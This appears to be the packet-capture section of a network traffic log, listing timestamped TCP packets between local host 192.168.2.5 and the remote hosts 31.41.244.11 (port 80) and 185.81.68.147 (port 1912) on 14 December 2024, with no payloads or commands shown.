Dec 14, 2024 14:56:30.288295031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.289316893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.289414883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.289450884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.290397882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.290435076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.290508986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.290544987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.291501045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.291538000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.291593075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.291627884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.292603016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.292706966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.292738914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.293737888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.293772936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.293838978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.293874979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.294823885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.294862032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.294936895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.294971943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.295969009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.296003103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.296094894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.296129942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.297183037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.297321081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.297353983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.298192024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.298224926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.298357010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.298391104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.299273968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.299309015 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.299393892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.299439907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.300432920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.300472975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.300617933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.300755978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.301574945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.301687956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.301722050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.302629948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.302712917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.302737951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.302772999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.303776979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.303817034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.303868055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.303909063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.304869890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.304940939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.304991961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.305193901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.305974960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.306024075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.306082010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.306118011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.307110071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.307149887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.307219982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.307269096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.308255911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.308293104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.308335066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.308368921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.309312105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.309418917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.309452057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.310566902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.310604095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.310679913 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.310715914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.311534882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.311572075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.311647892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.311682940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.312674999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.312854052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.312886953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.313771009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.313808918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.313883066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.313920021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.314884901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.314922094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.314980984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.315017939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.315996885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.316034079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.409493923 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.409518957 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.409527063 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.409571886 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:30.409621954 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.409631014 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.409641027 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.409662008 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:30.409681082 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:30.454119921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.454132080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.454166889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.454186916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.454435110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.454477072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.454545021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.454689980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.455605030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.455625057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.455657959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.455672026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.456701994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.456743002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.457039118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.457078934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.457142115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.457179070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.458168030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.458210945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.458247900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.458291054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.459287882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.459336042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.459347963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.459384918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.460454941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.460508108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.460510969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.460544109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.461498976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.461540937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.461595058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.461630106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.462600946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.462647915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.462706089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.462743998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.463726044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.463767052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.463829994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.463864088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.464838028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.464967012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.465013027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.465966940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.466013908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.466056108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.466094971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.467063904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.467112064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.467266083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.467523098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.468183994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.468226910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.468276978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.468326092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.469279051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.469337940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.469392061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.469429016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.470396996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.470448017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.470514059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.470552921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.471497059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.471568108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.471570969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.471605062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.472635031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.472697973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.472739935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.473752022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.473824978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.473860979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.473901033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.474878073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.474921942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.474967957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.475006104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.475984097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.476026058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.476095915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.476140976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.477097988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.477139950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.477189064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.477267027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.478192091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.478272915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.478291988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.478338957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.479334116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.479541063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.479567051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.479584932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.480413914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.480449915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.480514050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.480577946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.481614113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.481663942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.481734991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.481786966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.482667923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.482703924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.482784033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.483016014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.483761072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.483799934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.483876944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.483911037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.484893084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.484935045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.484993935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.485028028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.486013889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.486053944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.486128092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.486304998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.487138987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.487194061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.487217903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.487262011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.488284111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.488325119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.488359928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.488416910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.489355087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.489398956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.489459991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.489500046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.490717888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.490772009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.490808964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.490911961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.491586924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.491635084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.491693020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.491794109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.492733002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.492801905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.492836952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.492880106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.493834972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.493880033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.493944883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.493989944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.494895935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.494956017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.494993925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.495039940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.496061087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.496108055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.496179104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.496313095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.497137070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.497184992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.497253895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.497456074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.498250961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.498297930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.498333931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.498377085 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.499361992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.499406099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.499422073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.499463081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.500488997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.500535965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.500591040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.500853062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.501604080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.501652002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.501724958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.501827002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.502718925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.502759933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.502798080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.502840042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.503842115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.503863096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.503887892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.503920078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.504976034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.505108118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.505150080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.506062984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.506167889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.506211042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.507184029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.507225990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.507261992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.507306099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.508276939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.508320093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.508352041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.508395910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.509387970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.509434938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.509459972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.509497881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.510601997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.510612011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.510643959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.510665894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.511615992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.511683941 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.511727095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.511878014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.646141052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.646155119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.646189928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.646205902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.646541119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.646574974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.646591902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.646622896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.647653103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.647691965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.647748947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.647783995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.648807049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.648983002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.649135113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.649172068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.649221897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.649302959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.650228024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.650285006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.650317907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.650424004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.651355028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.651398897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.651525021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.651567936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.652475119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.652518988 CET	49876	80	192.168.2.5	31.41.244.11
